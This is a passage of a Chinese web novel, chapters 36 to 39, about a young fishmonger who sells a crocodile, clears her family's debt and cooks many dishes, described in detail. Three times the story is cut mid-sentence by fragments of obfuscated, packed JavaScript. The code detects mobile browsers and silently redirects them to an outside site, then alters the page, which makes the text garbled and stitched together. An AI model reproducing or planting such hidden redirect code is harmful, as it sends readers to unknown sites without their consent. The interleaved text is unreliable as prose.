有人看了眼那鳄鱼体型，又打量平安一眼，质疑道：“你这娘子，娇娇弱弱的，怕不是从哪里捡来的吧。” 平安并未辩驳，只是点头笑道：“您猜对了一半，我遇着它时，它已经受了伤，这才让我捡了个便宜。” 见她如此说，又看她一身破破烂烂，满是搏斗的痕迹，众人这才打消几分疑虑，开始羡慕起她的好运气来。 “这鳄鱼肉不知道是什么滋味？”有人砸吧着嘴，好奇问道。 这问题，平安也不知，她也没吃过。 “这肉散卖吗？” 平安并未直接回答，只问：“你要多少？” “你先说说价格，若是合适，那就称个一斤回家尝尝味。” 这鳄鱼身长近两米，起码得大几百斤，这样一斤一斤散卖不知要卖到什么时候，更何况她还没有带称。 平安想了想，还是出言婉拒。 一听她说要整只一起卖，码头旁瞬间围拢许多人，但凑热闹的人多，问价的却少。 眼见事情越闹越大，齐鸣忙朗声插话：“胡娘子，借一步谈话？” 平安瞥了眼船舱中的鱼，正欲开口拒绝，齐鸣便闻弦知雅意：“若你信得过我，我让家中随从替你看着。” 正主一走，围观人群亦逐渐四散，再好看的热闹看上两眼，也就足够了。 待两人行至僻静处，齐鸣方开口提议：“你这鳄鱼，我能替你找到销路。” “果真？”平安抬眸问道。 “这还有假？”看她怀疑的模样，齐鸣哑然失笑，他拍了拍袖子，压低声音，“相识一场，这种小事还是能忙上忙的。” 平安点点头，抿唇道：“若你帮我卖出去，我分你三成。” “这鳄鱼既可食用，又可药用，县里的富户或是药堂都用得上，它的皮硝制后还可做靴做包，这可是稀奇品，他们买来不会吃亏。” 听她吹得天花乱坠，齐鸣轻笑：“胡娘子还是这样能言善语。” “我说真的，今日天色不早，我想早些卖完回家。你说能帮我找到卖家，你能做他的主？”说到后头，她的声音有些迟疑。她未明说的是，她更怕齐鸣并不认识什么卖家，而是自己花钱买了这条鳄鱼。可他并未直言，她也不好戳破，只得暗暗与他保持好距离。 扪心自问，她虽对木头无什么男女之情，但她好歹也是有妇之夫，做不来婚内拜高踩低，琵琶别抱的丑事。 “那是自然。”齐鸣眼眸微阖，指尖轻抚腰间玉珏，“我走南闯北，自是比普通鱼贩更知这鳄鱼的价值，你之前说得没错，便是我转手卖给药房，都能赚上差价。” “那便多谢齐老板襄助。”平安抚拳道谢，“若是可以，您看着报个价吧。” 她之前囫囵报了个五贯，便是掂量着这鳄鱼重量，按猪肉价格所计，若是齐鸣出的价格跟这个大差不离，那她便快快脱手修船去。 齐鸣驻步反问：“这样着急？” “是，家人都在服徭役，我得早些回家，不想让他们担心。” “徭役。”闻言，齐鸣眸光闪烁，沉声重复，他的声音又哑又慢，似将这两个字在唇齿间细细咀嚼。 “今年徭役可重？”他话题一转，问起平安对徭役看法来。 平安睨他一眼，不知他为何要做此问，为免招惹是非，她谨慎应道：“徭役筑堤修路这是好事，可对百姓来说也确是累事。” “挺中肯。”齐鸣咳了声，笑着将话题撇过。 “六贯，买你那条鳄鱼。” “成！”平安立马接话，“那我给你一贯八的提点。”听到这个数，平安也不再矫情，若不是今日天色已晚，她寻些大商船问问，这鱼还不定卖出多少高价呢。 “等拿到钱再说吧。”齐鸣拍拍手，不多时，便有人推来一架板车。 征得平安同意后，他们合力将鳄鱼抬走。 “需要剖吗？”平安望着板车，低声问道。 齐鸣摇头，将钱递给她：“数数。” 钱货两讫，平安将钱数出塞给齐鸣，齐鸣却推脱不要。 “拿着吧，今日多亏了你。” “先在你那放着。” 先放着，是托辞还是与她走近的借口？这两样皆不是平安心中所愿，她亦不喜欢做这种囫囵事。看说不通，平安强硬将钱塞进他怀中，他却拂手不接，直让铜钱哗啦落地，砸起一片灰尘。 待平安拾起地上铜钱，便见他已摆手离去。 这会怕是已过申时，望着他潇洒离开的背影，平安只得掏出几个铜板，拜托他家随从帮忙看着渔船，她则赶去街上去寻船匠替她修船。 回到码头，平安让随从代为转交那一贯多钱，那随从却吓得连连摆手：“胡娘子，主人不收定然有他的道理，求您别为难咱做下人的。” 看着他神情惶恐，言语不安，平安长叹一口气，只得暂时替留下齐鸣那笔钱。 齐鸣对她有意之事，她一直知道，怕是连木头，他都已见过。 木头斗促织那日，她就隐约察觉暗处有人窥伺，又在街角看到过他一闪而过的侧脸。 她当时心中便有所怀疑，今日更是验证了她的想法。方才见得她挽髻，他的目光只在她头上停顿片刻，却只口不提此事。 之前她便直言拒绝过他，如今他未提起这男女之事，她反倒不好自作多情劝他放下。 望着甲板新换的木板，平安垂眸轻叹。 神游间，却听那船工回首唤道：“船舱这会不好操作呢，你船上有鱼，板子又是湿的。我给你在内舱用两块木板加固，在未开裂前你先用着，这船暂时不会沉。” “怎样？”他问平安。 “先这样办吧。” 看平安将捞来的翘嘴抬出，一旁收俏货的鱼贩子见得这样肥美的翘嘴，忙上前搭话。两人拉扯半晌，平安按着市价的七成将一半鱼批给了他，共得钱九百三十文。 紧赶慢赶，平安终于在爷爷他们归家前回了家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315055|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 将船停好后，她取出刷子，用船工送的桐油将甲板润了一遍，这才提鱼回家准备晚膳。 因着路上的意外，好不容易捞出的鳜鱼也死了一条，更别提那些虾虾蟹蟹。 这下好了，只得自己吃个饱。 平安刚打开院门，灰灰与小白就冲了出来，热情地围着她打转。 将鱼养好，给鸡圈扔了一把老白菜，平安忙赶回灶间烧火剖鳜鱼。 这鳜鱼又名鯚鱼，桂鱼，性情凶猛，腹背有刺，若不是它已经翻了白，处理起来倒要多费些功夫。 将鳜鱼鱼首尾分离，鱼肉剔出，平安用斜刀法把鱼肉片成薄如蝉翼的鱼片，她今日便用它来做一道鯚鱼假蛤蜊。 待切完葱丝姜片，坛中的水也逐渐温热起来。 将鱼肉用葱姜、酒、胡椒粉抓拌腌制，腌制鱼肉的功夫，平安打了桶水，迅速洗了个澡。 将衣服换好，她才长舒一口气。之前在外没注意，回来才发现衣袖、裤脚、膝盖多处都出现破损，要是被爷爷他们看见，心里不知得害怕成什么样。 挑挑拣拣，她又挑出些不大活跃的虾，又拿了六只螃蟹，顺道做一个虾蟹煲。 将饭煮起，平安便开始处理虾蟹。 用清水洗刷两遍后，开虾背，挑虾线，螃蟹去脐，砍成大小均匀的两半，刀面沾上一层豆粉定型。 锅中下宽油，入姜片煸香，下虾蟹开始炸制。 待虾身炸至通红，捞出螃蟹与部分虾盛出备用。 锅中盛出部分油，放入水、盐、擂碎的姜末继续熬煮出鲜味。 平安正在院中给青菜泼水，就听得院外木头兴高采烈地唤道：“娘子，快开门啊！” “来了！” 平安拉开门闩，映入眼帘的便是木头灿烂的笑容。 “哒哒哒，娘子快看。” 他献宝似地从身后拿出一捧黄灿灿的美人蕉。 “我听爷爷说这美人蕉的花蜜特别清甜，娘子你快尝尝。” “好，等我进去洗完手就吃。快进来。”平安将门推开，笑着接下。 “这是什么，这么香？”木头嗅了嗅，挑眉看向自家娘子。 “等下你就知道了，先去堂屋歇息下歇息，我在里面熬了些荸荠茅根饮。” 趁爷爷还在后头，木头揽住平安便是窃香一口：“还是娘子心疼我。” 炽热的体温霎时贴近，又很快离去，平安眼角颤了颤，轻轻推开他：“埋汰不埋汰。” 看娘子垂首轻嗅手中花束，木头闷声暗笑，良久，他方低声回道：“嗯哼。”他家娘子就爱口是心非。 这会锅中水已沸腾，平安将虾汤过滤澄清，重新下锅。 水沸入鱼片，用筷子将鱼拨动打散，则立即抽火盖盖。 就着锅中的余热，鱼片亦可很快烫熟。 这道雪白鲜香的鯚鱼假蛤蜊一端上桌，木头的注意便被它吸引，连一旁的虾蟹煲与莼菜都未曾留意。 今日的鯚鱼假蛤蜊肉片雪白细腻，入口鲜嫩爽滑，既有虾蟹的鲜香，又兼有几分蛤蜊的弹韧，不愧是汴京流行的名菜。 喝一口热乎乎的鲜汤，吃一口滑嫩无刺的细腻鱼肉，别提有多爽。 至于莼菜，则是用了鳜鱼的鱼头、鱼排、鱼尾熬出鲜汤后汆入，入口亦滑嫩鲜香，胶质浓郁。 虾蟹煲也是色泽红艳，鲜香下饭。 锅中入油盐、姜蒜、豆酱、大料、香叶煸香，将炸红的虾蟹下入锅中，倒入酱汁翻拌调味。 待虾蟹爆炒出香味，便可倒入黄酒或骨头汤炖煮，再撒上些紫苏提香。 文火慢炖收汁，在细密的咕噜声下，醇厚的蒜香、酱香、紫苏香便随着黄酒的蒸发慢慢炖入虾蟹之中，与虾蟹的鲜香完美融合。 掀盖细观，待熬得只剩锅底少许酱红汤汁，如此咸、鲜、香三味方最为适宜。 这样炖煮出来的虾蟹，肉质脆弹清甜，汤汁亦浓郁醇厚。 待虾蟹吃完，下入一把煮熟的细面放入汤汁之中，简直可把人的舌头鲜掉。 爷爷对今日的菜很是满意，他笑问：“今天是什么好日子？” 木头闻言也抬头朝平安望去。 37. 杀鱼的第三十七天 平安面色如常，憨笑出声：“爷爷果真神机妙算。”心下却神经紧绷，不由暗叹，幸好她已提前编好谎言。 “今天在大河里捞上好几网大翘嘴和鳜鱼，重的得十几斤一条，可是大丰收了。我在汉云码头卖掉大半，你们猜猜我赚了多少钱？” “多少？”木头停箸，好奇发问。 胡水生却是未曾作声，他上下打量孙女两眼，这才暗暗松口气。 平安比了两根手指。 “二十贯？”木头眼睛瞪圆。 “想什么呢，你以为卖金子啊，两贯。”平安没好气地瞪他一眼，将提前备好的钱掏出。 木头不好意思地饶饶头，夸了句：“娘子你这会可真有钱。”这才继续扒饭。 “安安，赚到钱是好事，只是你别走远了，大河那边水匪多，那些个鼍和大蛇都不少。” “爷爷，我晓得的。”平安挑上一口饭，试图掩盖自己的心虚。 “哎。”胡水生重重叹了口气，自己养大的孩子是什么性子他都清楚，“爷爷年纪大了，只要还完你爹欠的债，再看着你们好好过日子，我这辈子就没什么遗憾了。” “不要为了求财去冒你爹那样的险。”他顿了顿，哑声道，“不值当啊，不值当。” “爷爷。” 看胡水生眼眶泛红，平安忙出言安慰：“我知道的，我都知道，你别担忧，我会踏踏实实过日子的，您放心。” “不说这些了，咱们好好过。”木头握住两人的手，骤然插话。 “好，今儿是个好日子，开心点。”胡水生吸了吸鼻子，举起酒杯抿了口。 “等月底得了闲，我就去把那剩下三贯钱还了，把欠条带回来。”平安瞅了眼爷爷，小心翼翼说道。 “好，咱们还完账，以后都是好日子。” 木头也道：“以后攒的钱，咱们给爷爷建个大房子。” “爷爷以后就等着享你们的福咯。” 一家人相视一笑，不再提及此事。 这几日木头每日回来都要呼痛，待两人回房，平安便让他将衣脱掉，她则搓上一些跌打损伤的药油给他润润筋骨。 两人上完药，又兴高采烈将今日所得数了一遍，这才小心翼翼将钱锁进家中钱匣。 至入睡前，木头都未曾发现什么，平安悬吊半晌的心终于安稳下来。 这几日，平安的档口因着鳜鱼、翘嘴与虾蟹的售卖，倒是吸引了好些客源，这卖鱼收入比之前要好上不少。 而徭役摊位上，每日来买的基本就那些熟客。 至于那两位监工的差头，平安也很是识趣送上孝敬，如此一来，财源方能广阔。 不是没有人看她生意好，跑来旁边摆摊抢生意的。 他们或是卖烧饼或是卖包子汤饼，价格自然要比她的便宜。那几日，平安的确被抢走不少生意。 可到后来，她的生意却又渐渐回拢。 因她卖的菜味道上乘，价格不贵，菜色也经常轮换，众人两相对比之下还是选择了她，那些人见抢不到什么生意，也就渐渐散了。 她摆摊数日，菜色也少有重复，今日做粉蒸肉，金樱子煎蛋，明日做豆豉腊肉，酱香拆骨肉，过几日又换成酸辣鸡杂，香蒜肉片，香辣回锅肉。除非大家提要求，多做些他们喜欢的，不然，她便一直换着花样来。 一些自己带菜或是家里人送饭的，等到后面也加入了买饭队伍。 这成本和自家做差不多，况且胡娘子这的菜味美又热乎，许多人也就不再计较这一文两文的差价。 平安之前黑漆漆的名声也因她这一手出神入化的做菜手艺而突然清白几分。 连着数日如此安排，平安安排起时间愈发熟稔，动作也愈发利索。待得归家，她便开始整理家中其他杂务。 喂养鸡鸭猫狗，看管院里院外的鱼塘藕塘，顺便割几把草料喂完鱼。回到家中，晒好的芋头丝和菜干这会也该进坛子窖制。 将菜垄边插好细竹竿，又用绳子将这些竹竿牵好做羁绊，只待青瓜、丝瓜、豆荚的藤蔓长大攀爬。 忙完的平安眼见地里的落苏这会也硕果累累，她家三口人是吃不完的，她又舍不得看着它们摘下烂掉。 一瞬间，平安脑中萌生了无数种腌制的妙方。 淡干落苏、鹌鹑落苏、糖醋落苏、食香瓜落苏、酱瓜落苏、糟瓜落苏，都可以将吃不完的落苏保存许久。 那糟瓜落苏之方可让落苏保持鲜嫩颜色，淡干落苏也可让落苏食之如新味。如此腌制一番，等到秋冬，亦可食到或是鲜嫩或是风味独特的香落苏，想想便让人开心。 不再多想，平安拿起竹篮采满一篮紫色落苏，便准备开干。 个头大的便做淡干落苏，细嫩的便做鹌鹑落苏与食香瓜落苏。 将所有落苏洗净，放竹编长板上晾干水分。 另起锅烧水，嫩的落苏一半切成细缕做鹌鹑落苏，一半则切成棋状做食香瓜落苏，按一斤落苏八钱盐的比例，放盐拌匀腌制。 待水沸，分别焯入大落苏与落苏条。 等待的间隙，平安寻来瓦片洗净晒干。又翻出石碾子，将花椒、酱、盐、茴香、甘草、陈皮、红豆辗成细末备用。[1] 将落苏捞出，放置于竹簸箕之上，掰成两半，用石头压干水分。 落苏条亦捞出控干水分，用备好的香料拌匀，放竹编长板上开始晾晒。 忙完这些，棋状的落苏水分已被盐杀出，加入香料粉抓拌均匀后，平安将这些落苏塞入坛中腌制。 待得瓦片被炽热的阳光晒干，平安搬开石头，捏了捏落苏软硬。 见水分几近压出，她搬来木梯，将这些落苏干放在瓦上，置于屋顶晾晒，只等晒干便可保存数月。 鹌鹑干落苏则等晒干后再另行蒸制，食香瓜落苏则需两日后捞出再晒，重复卤、晒动作多次。 不过今日，倒是无需再忙活什么了。 平安长舒一口气，搬了条躺椅到树下小憩。 待看得角落里绿油油的两株茶树，她突然觉得自己有些口渴，不如就喝杯擂茶消遣一二？ 她这会多做点，等爷爷他们归家，或冷或热，或甜或咸，都依他们自己。 说做便做，平安采摘出茶叶嫩尖并几片老茶叶，将茶叶去筋洗净。又寻来花生、大米、芝麻，放人铁锅中炒至焦黄，香气散出。 取出擂钵，将茶叶投掷其中，用茶树棒开始擂。 随着几声摩擦声响，茶叶很快被碾成绿色的茶浆沾在擂钵底部。 再依次下新鲜姜块、花生、炒米，经平安的大力擂转，一股独特的姜香与焦香味从擂钵中逸出。 很快，这些东西便化为细腻雪白的蓉。 用茶树棒继续翻拌，茶叶的绿与大米的白在钵中融合成淡淡的茶绿色。 看着擂钵有些干，平安倒入少许水，最后撒入芝麻继续研磨，待将芝麻碾碎，芝麻外壳与香喷喷的芝麻油亦完美融入钵中。 这颜色，瞧着倒与街上茶楼茶博士点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329214|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的十分相近。 今日是时间急了，若是有时间，今儿都不该用这新鲜大米，得选用阴米口感最佳。 当地所谓阴米，便是将煮熟的大米平摊放凉，放置于阴凉通风处阴干水分，这样处理的阴米适合保存不说，用来做炒米味道最为香浓。 擂茶既已擂好，平安取出茶碗，舀上一大勺，加上些许白糖，用热水冲泡化开。 一碗色泽淡绿，香浓甘甜的擂茶便热腾腾出炉。 用调羹舀上一勺尝味，入口细腻酽滑，香气扑鼻。一瞬间，平安只觉米香、花生香、芝麻香与茶香奇妙融合，散发出馥郁淳朴的香味。 至于今日晚膳，家中早已无鲜肉，但鱼儿管饱。平安便打算做一盆河鱼一锅鲜与槐花炒鸡蛋。 这会门前的槐花开得正盛，翠绿的枝叶间缀满簇簇繁复的白色花瓣，远远望去，有些似点点云雾缭绕青山之间。 走到树下，白色的花瓣已掉落一地，还可闻到阵阵扑鼻的槐花清香。平安踮起脚尖，从枝干上扯下一大捧槐花到篮中。取尚未开放的花序，挑出用淡盐水浸泡。 做完这些，她便从养鱼的杂物房开始挑选怏怏的小鱼。 不拘是禾花鱼、黄骨鱼、还是小鲫鱼，她一并选了掐鳃去脏，添柴烧锅。 用薄油将这些小鱼两面煎至金黄，入盐调底味，接着便可倒入井水开炖。 以她的经验，每次只需将鱼煎好，无论是用凉水还是热水，都可以熬出奶白的鱼汤来。 待水沸，鱼肉亦析出，化为浓白鲜香的鱼汤，平安加入白豆腐与盐，小火慢煨。 剩下的槐花只需焯水后与鸡蛋液滑散同煎，这槐花炒蛋就是吃个鲜味与热乎，等爷爷他们归家再做也来得及。 趁着炖煮的空档，平安便开始挑水泼菜。这事往常都是爷爷做得多，可他每日服役已经足够辛苦，平安又哪舍得再将这些杂活推脱给他。 脆甜的白菜苔早已抽条长高，变为一片黄灿灿的油菜花，只等夏季成熟，便可打出油菜籽榨油。 地里也如今也种上不少夏日常吃的瓜果蔬菜，最近气候干燥，每日少不得一顿水伺候。 他们村里有那勤快的，更是早晚各来一次，中午则坐在菜地除草捉虫。 平安自认比不上，晚上伺候一顿便已算她勤快，左右她家人也不多，不需要那么多菜。 “娘子！”木头人未至，嘹亮的嗓音便已传至院内。 服役的地离家越来越近，木头如今归家步履是越发轻快。 刚服徭役的时候，木头可是每日回家都哎哟呼痛。 这几日回家，他状态已好了许多，平安给他揉药时也发现他身上的肉比之前要硬实，想来力气要比之前大些了吧？ 再回神，木头的俊脸已凑至她跟前，他眨巴着眼盯着平安，笑问：“娘子在想什么？” 想什么？平安当然不会说，她轻咳一声，指了指灶房，“在想今日没做什么好菜，不知你。” 她话未说完，木头早已甜言打断：“娘子做的，便是烂白菜我也爱吃。” 平安放下水瓢，推开他：“嘴这么甜，给你喝碗甜汤润润嘴。” “果真？”木头挽住她的手，笑嘻嘻问道。 “骗你作甚。” 如脂的云霞布满天空，夕阳洒下最后一缕斜晖，院中的花草树木与屋檐角落均被涂上一层金黄的氤氲霞光。 胡水生慢悠悠跨过门槛，见得两人相携离去的亲密背影，也不由扶住门框，欣慰一笑。 38. 杀鱼的第三十八章 就在平安因生意蒸蒸日上而日渐欣喜时，徭役尚未结束，市集里又新开了一家鱼铺。 她家一开张，样样鱼虾都比平安便宜一两文。 不少客人看有利可图，纷纷转战新鱼铺。 没过几日，平安档口生意愈发萧条。 如今气温升高，档口的鱼活力也远不如初春。 看着桶中这条恹恹的青鱼，平安心中无奈叹息。 等到夏日，温度越高，折损就越高。她这鱼若是早上卖不出，等到午间被太阳一晒，只能死得更快。 再这样下去，这档口怕是得出现亏空。思及此，平安脑中不由又冒出去大河的冲动。 至于这条还剩一口气的青鱼，想起木头早上念叨的肉丸，她突然萌生一个想法。 若是这鱼丸反响好，她以后不如在档口顺道卖个鱼丸？ 说做便做，这会索性也没什么生意，平安将档口收拾好，便回家准备做饭。 卖鱼多年，剖鱼这事她早得心应手，这会拆分鱼肉鱼骨起来动作十分流畅。 不过几息，一条青鱼便被她剖成三片，鱼排红润透骨，鱼肉齐整厚实，竟是沿着骨缝将鱼肉完整剔下。 将鱼排切块备用，鱼肉平铺在案板上，平安将剃刀斜插进皮与肉之间，一手拉住鱼皮，一手推剃刀向前，一张完整鱼皮瞬间剥落。 剥皮去鳍，她拎起鱼肉迎光细看，待挑出鱼肉中残存的细小骨刺，平安又照例剖开一条草鱼。 比之鲫鱼鲥鱼，草鱼已算得上阴刺较少，它肉质厚实，油脂丰富，用来做鱼丸十分得宜。 白里透红的鲜嫩鱼片满满当当堆置案墩上，犹如一座小山，平安寻思着这些肉应当差不多了，这才转身去橱柜舀出两把豆粉。 留出部分鱼肉撒上豆粉盛出备用，另一部分，则撒入些许盐末和三鲜粉调味。 “咚咚咚！咚咚咚！” 伴随着阵阵明快地咚咚声响，平安动作利索地开始剁肉，块状的鱼肉很快被剁成淡粉的肉粒。 笨重的砍刀在平安手中变得异常灵巧听话，只见她不时加些鱼肉进案墩，顺带捏上些许豆粉掺和均匀。 在她一番大力捶打之下，那些鱼片转眼化为盆中细腻柔软的鱼糜。 平安手上搓油，用手轻轻一捏，一个个圆润饱满的鱼丸便从虎口挤出。 将捏好的鱼丸轻轻置入温水中慢慢烹煮，平安活动几下筋骨，便开始准备另一道菜。 寻来块干净的砧板，在上面洒满豆粉，将方才留出的鱼肉放置在豆粉上，用茶树棒均匀敲打。 这敲打的力度不可过轻，轻则无法将豆粉压入鱼肉中；亦不可过重，重则易将鱼片敲破。 需得秉持耐心，不轻不重，力道均匀，方可敲成。 边敲，边加入豆粉，直至鱼片延伸至两三倍大，被敲成扁平的白色肉片。拎起一片细看，鱼片薄而不破，略为透光。如此，这薄透似纸，宛如蝉翼的玉蝉羹鱼片便做好。这样做出的鱼片，煮熟后既有鱼肉的鲜香，口感却更为滑溜细嫩，亦十分饱腹。 剥掉的鱼皮浪费可惜，平安便用它来做一道酸辣可口的凉拌鱼皮。 先前在切鱼肉时她早顺手将鱼皮切丝过水，这会已浸泡在凉水中去腥。 将浸泡在凉水中的鱼皮捞出，取大蒜姜片拍烂切碎，与盐、酱汁、陈醋、辣酱、香油翻拌入味。 最后撒上一些芫荽，一道脆爽弹牙，香辣开胃的凉拌鱼皮就此制作完成。 要是在夏季，寻条青瓜切丝拌入，不但口感更为爽脆，还可增加淡淡的果木清香，想想，她的口水便要流出。 这会条件有限，也只得暂且将就。 凉拌的间隙，锅中用鱼排鱼头熬煮的鱼汤已咕噜冒泡。 平安撒入白胡椒粉、盐、姜末、黄酒调味，将搅拌均匀的鱼汤一分为二。 一半倒入部分鱼丸、继续小火熬煮。用原汤化原食，如此做出来的鱼丸方能最大程度保留河鲜本身的鲜味。 另一半，则下入捶打的鱼片做玉蝉羹。因这鱼片多豆粉，煮熟易使汤水浑浊，平安将煮熟的玉蝉羹捞出，掺入鱼丸之中，这鱼丸汤也不至于显得太过空荡。 至于滤清的鱼汤，平安也未浪费，往里面要些油与些许蒜末，汆入一把绿油油嫩呼呼的木耳菜，捞出来亦鲜嫩爽滑，胶质浓郁。 多日相处，平安也逐渐与服役的村民们混熟。 这会见得她过来，昨日打了招呼的村民纷纷热情围拢。 “今天吃什么啊？” “胡娘子这手艺，做什么都不会差。” 胡水生在一旁听得扬眉吐气，他家孙女就是争气。 平安将米饭与几样菜摆出，众人也不客气，拿起饭勺便开始排队盛饭。 至于菜，吃了那么久，胡娘子的手艺他们信得过。 只要几文钱，顿顿都有荤，这伙食比家里好多了，还挑剔什么。 将菜分完，木头挤到平安身边开始夸：“娘子果真想着我，早上我想吃丸子，你便给我做了鱼丸。” “真鲜，又鲜又嫩。咬上一口，鲜香弹牙不提，竟还爆汁。”他语调悠长，表情夸张，引得四周的人纷纷侧目。这一瞬间，平安恍觉自己这生意有一半得归功于他的宣传。 “当然，我不想着你，想着谁？”平安睨他一眼，又摸出一个食盒，里面是她用小火煎炸的鱼丸，白嫩嫩的鱼丸已被薄油煎得表皮金黄发酥，满是漂亮的虎皮，这会正散发着诱人的焦香。 这些丸子一半撒了五香粉，放了少许甜酱，一半则放了芥辣与肉醢，两味鱼丸整整齐齐摆在碟中。 木头让爷爷先夹，等胡水生挥了挥手，他才自己享用。 “好吃，真好吃。”两样口味木头都来者不拒，将饭吃完，他又一人干掉一大盆香煎鱼丸，这会也不由打了个饱嗝，心满意足地摸了摸肚子。 待人群散去，平安回船上数了数今日的收入，和她预想的大差不离，这门生意做不了两天了。 但爷爷他们一直在服役，她反正要去送饭，就当顺道补贴些油盐费用。 回到家中，忙完家中琐事，平安照例搬来竹睡椅在桂花树下乘凉。 见主人搬来竹椅，灰灰和小白也屁颠屁颠跑来躲在她的竹椅下方，亲昵地围着她歇息。 喝了几口茶，被这风儿慢慢地吹，平安竟迷迷糊糊陷入了梦乡。 在梦里她梦见自己在路上走啊走，突然发现前方一排奇怪的大树。 那树通体华贵，玉为枝干，金银为叶，树上的花果更是五颜六色，闪闪发光，或是金银玉质或是翡翠宝石，极尽华美瑰丽。 平安只一眼便看呆了，她回过神来蹦蹦跳跳便要摘下几朵果实，可她无论怎么跳都够不着那树。 历经千辛万苦，她也只薅下两片金灿灿的叶子，平安将它们紧紧拽在手心，欣喜地开始盘算该怎么花。 老天爷，她这辈子第一次摸到金叶子。怎么看着这么黄灿灿，这么惹人爱。 谁料那宝贝在手中还未捂热，便被人一把夺走。 平安怒从心中起，恶向胆边生，伸手便是一拳。 她一睁眼，便听得有人哎哟一声嚎叫。 平安望了眼天，这会天空遍布霞光，太阳已近落山，她竟然睡了这么久。 她拍了拍浑噩的头，这才留意到捏着帕子躺在地上的木头。 “夫君，你没事吧？”看他痛得满头冷汗，却不肯吱声，平安赶忙上前将他扶起。 木头欲言又止地打量平安一眼，良久，方嘴角抽搐道：“娘子，你力气真大。” 平安一边轻抚他的伤处，一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341345|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将自己的梦与他道出。 “你说说，那样关键的时刻，你拿了我帕子，我可不是以为你在抢我金叶子吗？” 见木头脸色稍缓，她接着道：“我这是穷人乍富，反应这才大了些，若是知道是你，我......”说罢，她轻叹一声，满怀愧疚地替他揉搓起来。 木头伸手揉了揉心口，不出意外地与自家娘子指尖相触。 他眼珠滴溜一转，神态自若地将她纤长的玉指握在手心慢慢摩挲。 多日劳役，他整个人早已被晒成麦色。看着她白皙的柔夷被自己的大掌轻易包拢，木头心中不禁涌现一股难以言喻的满足。 猝不及防被他这样狎昵，平安脊背微僵，只觉指尖似有阵阵电流激向全身。她下意识便想挣脱，却被他紧紧拉住，按在心口，指节更是强硬挤入她指缝中间，动作愈发挑衅和亲昵。 思及自己方才的所作所为，平安终究是心虚地卸下防备，努力忽视手背传来的阵阵酥麻异样。 两人最亲近的事都做了，也不差这一点。 该说不说，平安的手虽偶有几个薄茧，但她指节修长，皮肤细腻匀称，捏在手中只觉柔弱无骨，宛如凝玉。 青天白日里在院中明目张胆地偷香窃玉，木头得了好，心下得意，倒是很好说话。 只见他剑眉微挑，笑着夸下海口：“以后我送娘子真的金叶子银叶子，只是娘子可千万莫再打我了。” 平安将他慢慢扶起，心有余悸叹道：“我要是早些醒来就好了，我干农活多年，力气大了些，哎，伤着你，我心里实在愧疚。” 见娘子服软，木头纵使身上伤处依旧隐隐作痛，也只得挺直脊背，做大度气派：“无碍无碍，娘子你别放在心上，我本只想与你开个玩笑。” “好，你先歇着，我灶上热了骨头汤，里面炖了昆布，最是鲜美不过。” “我这就去给你和爷爷盛一碗。” 木头连连点头，等平安一走，他方弓腰使劲揉搓伤处。他早在路上就饥肠辘辘，每日干完活便只想吃饭睡觉，这会身上还受了伤，他恨不得马上往床上一躺。 可是娘子比他还讲究，若是他不沐浴洗漱，怕是不能挨上床。 胡水生这会也悠悠从门外进来，见小夫妻站在院中，他笑道：“还是年轻身体好，步子越来越轻快了，我都追不上咯。” 平安放下手中汤碗，赶忙上前接过胡水生身上农具。 饭桌上，平安并未提及档口生意之事，只是取出那三贯的欠条放在桌上。胡水生伸出满是皱皮与粗茧的手，拿起欠条慢慢端详起来。 看着爷爷将头偏向外头，借着亮光细看，平安的心在这一刻也终于感受到一股迟来的喜悦。 她和爷爷心心念念多年的债，终于全部还清。 她再也不用半夜辗转反侧，忧愁家中账务，再也不必花上几文钱还得思前想后。以后，她赚得每一文每一贯，都是他们自己的了。 其实按照她家赚钱的速度，本不该拖这样久，实在是这些年积累下来，利钱也是有些高。 当年看她爹出事，有些债主本不期待他家能还钱，特意找上门来嘱咐一句，他们不要利钱，本钱慢慢地还，只要能还就成。 爷爷当时没说什么，只是在还债时默默将利钱稍上。 别人推脱不要，他只道：“这是满仓生前承诺的，我这做爹的没别的本事，只是想替他完成遗愿，让他安安心心的走。” 如此一来，众人也只得受了，她爷也因此传出了个老实守信的好名声。 等到徭役结束，已是四月底。 院里的桃树花瓣掉落，绿叶伸展，荷塘莲叶田田，菱花盛开，春归的燕子早已在檐下搭窝孵出一窝小燕。 平安特意做了一大桌饭菜，好好犒劳辛劳的祖孙二人。 39. 杀鱼的第三十九天 平安在自家塘里摸出一把细长脆嫩的藕带，又从市集里买上猪肚、瘦肉，喊吴婶杀上一只鸡，便准备开干。 如今气温愈热，藕带出水后极易变色。平安打了盆井水，将藕带暂时浸泡其中。 她打算将它留在最后开炒，吃这水中时蔬吃的就是这个鲜甜水嫩。 